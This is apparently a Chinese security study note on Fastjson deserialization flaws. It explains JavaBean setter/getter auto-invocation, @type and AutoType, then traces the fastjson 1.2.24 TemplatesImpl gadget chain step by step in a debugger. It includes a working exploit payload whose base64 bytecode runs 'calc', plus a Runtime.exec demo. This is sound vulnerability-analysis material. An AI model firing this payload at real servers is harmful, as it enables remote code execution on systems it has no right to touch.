Fastjson反序列化
基础概念
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
JAVAbean之前学某个链子的时候用过,感觉就是一种封装
https://liaoxuefeng.com/books/java/oop/core/javabean/index.html
在Java中,有很多
class
的定义都符合这样的规范:
- 若干
private
实例字段;- 通过
public
方法来读写实例字段。例如:
public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } }
如果读写方法符合以下这种命名规范:
// 读方法: public Type getXyz() // 写方法: public void setXyz(Type value)
那么这种
class
被称为JavaBean
fastjson文档 https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
fastjson的API十分简洁。
String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
maven依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>x.x.x</version>
</dependency>
其中x.x.x是版本号,根据需要使用特定版本,建议使用最新版本。
三种反序列化方法比较
导入包
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
demo
package demo;
import com.alibaba.fastjson.JSON;
public class demo {
private String name;
private int age;
public User(){
System.out.println("调用constructor");
}
public String getName() {
System.out.println("调用getName");
return name;
}
public void setName(String name) {
System.out.println("调用setName");
this.name = name;
}
public int getAge() {
System.out.println("调用getAge");
return age;
}
public void setAge(int age) {
System.out.println("调用setAge");
this.age = age;
}
}
json反序列化
使用toJSONString
把UserBean序列化成json,测试三种反序列化的方法
- JSON.parse(s1)
- JSON.parseObject(s1)
- JSON.parseObject(s1,Object.class)
package demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
//创建一个用于实验的user类
User user1 = new User();
user1.setName("xxx");
user1.setAge(18);
//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr= "+serializedStr);
//通过parse方法进行反序列化,返回的是一个JSONObject
System.out.println("1.parse方法进行反序列化:");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);
//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("2.parseObject不指定类进行反序列化:");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);
//通过parseObject,指定类后返回的是一个相应的类对象
System.out.println("3.parseObject指定类进行反序列化:");
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}
结果
调用constructor
调用setName
调用setAge
调用getAge
调用getName
serializedStr= {"age":18,"name":"ThnPkm"}
1.parse方法进行反序列化:
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"ThnPkm","age":18}
2.parseObject不指定类进行反序列化:
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"ThnPkm","age":18}
3.parseObject指定类进行反序列化:
调用constructor
调用setAge
调用setName
parseObject反序列化对象名称:fastjson.demo
parseObject反序列化:fastjson.demo@621be5d1
parse("")
会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject("")
会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)parseObject("",class)
只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter
方法、properties属性的getter
方法;
其中getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
除此之外Fastjson还有以下功能点:
- fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串 - fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
@type
@type是个啥?
@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个]ava对象的类型。具体来说,当fastjson从ISON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型
fastjson在1.2.24之后默认禁用Autotype,可以通过Parserconfig.getGlobalInstance().addAccept(“java.1ang”);来开启,否则会报错autoType is not support.
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
import java.io.IOException;
public class type {
public static void main(String[] args) throws IOException {
String json = " {\"@type\":\"java.lang.Runtime\"}";
// ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
System.out.println("parseObject反序列化对象名称:"+runtime.getClass().getName());
runtime.exec("calc.exe");
}
}
所以这里出现了一个很敏感的问题,@type
为恶意类时,我们可以通过他的get或set方法去进行一些恶意的操作了
SerializerFeature.WriteClassName
SerializerFeature.WriteClassName
,是JSON.toJSONString()
中的一个设置属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is
方法。 Fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作
-
我传入的json什么条件下可以反序列化到我JSON.parseObject里指定的类中?
答案是我指定的类的属性名和json的key的名字相同,那如果不同呢?也可以通过注解来解决
比如说我的类里是abage,但是json里是age,在类里加一个注解也可以解决:
@JSONField(name = "age")
String serializedStr=JSON.toJSONString(user,SerializerFeature.WriteClassName);
可以和前面运行的结果进行对比,这里执行parse
反序列化对象从JSONObject变成了我们自己编写的user类
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Fastjsontest {
public static void main(String[] args) {
demo user1 = new demo();
user1.setName("xxx");
user1.setAge(18);
//序列化
String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
System.out.println("serializedStr= "+serializedStr);
//反序列化
Object obj3 = JSON.parseObject(serializedStr,demo.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}
调用constructor
调用setName
调用setAge
调用getAge
调用getName
serializedStr= {"@type":"fastjson.demo","age":18,"name":"xxx"}
调用constructor
调用setAge
调用setName
parseObject反序列化对象名称:fastjson.demo
parseObject反序列化:fastjson.demo@497470ed
Feature.SupportNonPublicField(反序列化)
把demo里面的setAge注释掉,就不能设置age了,因为原先反序列化的时候都是调用setAge
package fastjson;
import com.alibaba.fastjson.JSON;
public class SupportNonPublicField {
public static void main(String[] args){
demo xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"xxx\"}",demo.class);
System.out.println("Name: "+xiaoming.getName());
System.out.println("Age: "+xiaoming.getAge());
}
}
结果
调用constructor
调用setName
调用getName
Name: xxx
调用getAge
Age: 0
我们获取到的是 初始化的值 为0
但是这里我们加上 Feature.SupportNonPublicField 即可获得该私有变量
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class SupportNonPublicField {
public static void main(String[] args){
demo xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"xxx\"}",demo.class, Feature.SupportNonPublicField);
System.out.println("Name: "+xiaoming.getName());
System.out.println("Age: "+xiaoming.getAge());
}
}
结果
调用constructor
调用setName
调用getName
Name: xxx
调用getAge
Age: 20
parse与parseObject区别
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象
parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。
进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
漏洞原理
Fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。
例如代码写
Object o = JSON.parseObject(poc,Object.class)
就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。
fastjson他反序列化的时候会去找到@type这个指定类的全部属性的seter geter方法来进行自动调用,也就是说如果存在一个可控的指定类,以及这个指定类中存在可控的set get方法,就可以通过这个fastjson去调用set方法去达到任意命令执行
看如下案例 一个java bean类
import java.io.IOException;
public class Calc {
public String calc;
public Calc() {
System.out.println("调用了构造函数");
}
public String getCalc() {
System.out.println("调用了getter");
return calc;
}
public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("calc");
System.out.println("调用了setter");
}
}
序列化
public class SerFJTest {
public static void main(String[] args) throws IOException {
Calc calc = new Calc();
calc.setCalc("zjacky");
String jsonstring = JSON.toJSONString(calc, SerializerFeature.WriteClassName); //
System.out.println(jsonstring);
}
}
// {"@type":"fastjson.Calc","calc":"zjacky"}
反序列化
import com.alibaba.fastjson.JSON;
public class Fastjson_Test {
public static void main(String[] args) {
String JSON_Calc = "{\"@type\":\"Calc\",\"calc\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Calc));
}
}
Fastjson各版本漏洞分析
fastjson<=1.2.24
在小于fastjson1.2.22-1.2.24版本中有两条利用链。
- JNDI
com.sun.rowset.JdbcRowSetImpl
- JDK7u21
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl链(JDK7u21)
条件苛刻
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField)
因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据
之前分析的TemplateImpl的时候,他利用链的最外层是一个getOutputProperties
,但是parse进行自动调用的是setXxxx,那么我们就得想办法去找到一个setXxxx调用
调用链
payload
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwoABQAWBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB0BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB4BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAMUGF5bG9hZC5qYXZhDAAIAAkHAB8MACAAIQEABGNhbGMMACIAIwEAE29yZy9leGFtcGxlL1BheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAUAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAGQAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAHAAIAB0ADAAAAAQAAQANAAEAFAAAAAIAFQ=="],'_name':'asd','_tfactory':{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
TemplateImpl类里有getOutputProperties
但是并没有getOutputProperties属性,但是有_outputProperties
动态调试
从头开始调
首先进入JSON.class#parse,到了com\alibaba\fastjson\JSON.class
,这个类重载了一堆parse函数
跟进DefaultJSONParser构造方法
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
会调用到另一个构造函数
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
重点在ch,但是ch这里已经有值了,应该去跟lexer,也就是new JSONScanner(input, features)
,重点在这个函数,这里不细说了
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
再到DefaultJSONParser.class的parse,从这也算是一切的开始
进入DefaultJSONParser重载的另一个parse,这里lexer已经初始化了,后面根据它的token走流程
跟进一下JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
返回一个hashmap
出来的时候转换成JSONobject
进到parseObject,他会识别@type
,然后提取出我们输入的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,作为变量clazz,这个变量非常重要
JavaBeanDeserializer.class#getDeserializer,把提取的clazz传入了
然后就到了这里的两句关键代码
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
跟一下第一句
进入JavaBeanDeserializer.class
调用重载
前面一大堆各种处理
关键点在这一句,往后很大的篇幅clazz、(Type)type也会一直被传递
这里也是一个关键(又进去一层)
这里首先拿到了clazz的属性、方法、构造方法,创建了一个列表fieldList用来存储下面对方法名处理完的结果
这里循环遍历方法名
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass())))
筛选:
- 方法名的长度是否大于等于 4
- 方法不是静态方法
- 方法的返回类型是否为
void
或与方法所属的类类型相同
循环获取他的setXxxx方法,可以看到如果以_
开头,他会有所处理
循环获取getXxxx
把所有的setter和getter方法全部存入fieldList
,可以看到这里都是去掉了get和set的,最后return一个JavaBeanInfo
处理完添加到前面创建的空数组里面添加一个 FieldInfo
对象
最后返回一个JavaBeanInfo对象,fieldList添加了三个Filedinfo对象
出来了
往下
终于出来了
再回到DefaultJSONParser.class#parseObject,执行刚刚返回的deserializer的deserialza方法
重载两次deserialze,这里Object
通过反射获取到TemplateImpl的实例
实例化TemplateImpl作为object
返回这个object
又回到了那个while循环里边
这里解释一下这个循环,他是利用了这个循环,把JSON中的每一个属性放进反序列化出来的类中,变成完整的、与JSON数据对应的类
while循环里把参数代入,走进parseField
方法里面(注意这里也是会进好几次parseField
方法,可以观察每次的key是不同的,这个循环往复的过程中在持续恢复object对象,也就是tempslate)
parseField方法
调用smartMatch,对-和_进行处理
跟进parseField方法,这里实例化了一个DefaultFieldDeserializer
,然后再执行DefaultFieldDeserializer的parseField
方法
这里最后执行的this.fieldValueDeserilizer.deserialze
跟进去看
这里定义了一个空数组,然后执行了parser.parseArray
跟进parseArray,这里执行了array.add
,把_bytycode给加进去了,那么他add的val是怎么来的我们得跟一下前面的deserialze
进去关注到这个函数bytesValue
他会把我们的bytecode给base64解码,这也解释了我们为啥要把他base64给编码了
return了我们解码了的bytecode,然后add进数组
最后再回到前面,执行this.toObjectArray(parser, componentClass, array)
这里就把bytecode给放入array了
出来了,赋值给value
然后交给object(tempslate)
最后也是由这个setvalue触发方法执行
然后就到了invoke了,执行TemplateImpl的getOutputProperties
在此之前setvalue调用的都是这里
这里method是TemplatesImpl.getOutputProperties(),object是我们tempslate,tempslate里的_bytecodes
就是我们后面会执行的字节码
后面就是tempslate的内容了
总结:json.parse根据我们传的@type将json的内容实例化为tempslate类,最终在while大循环里面的parseField的内层的setvalue触发getOutputProperties执行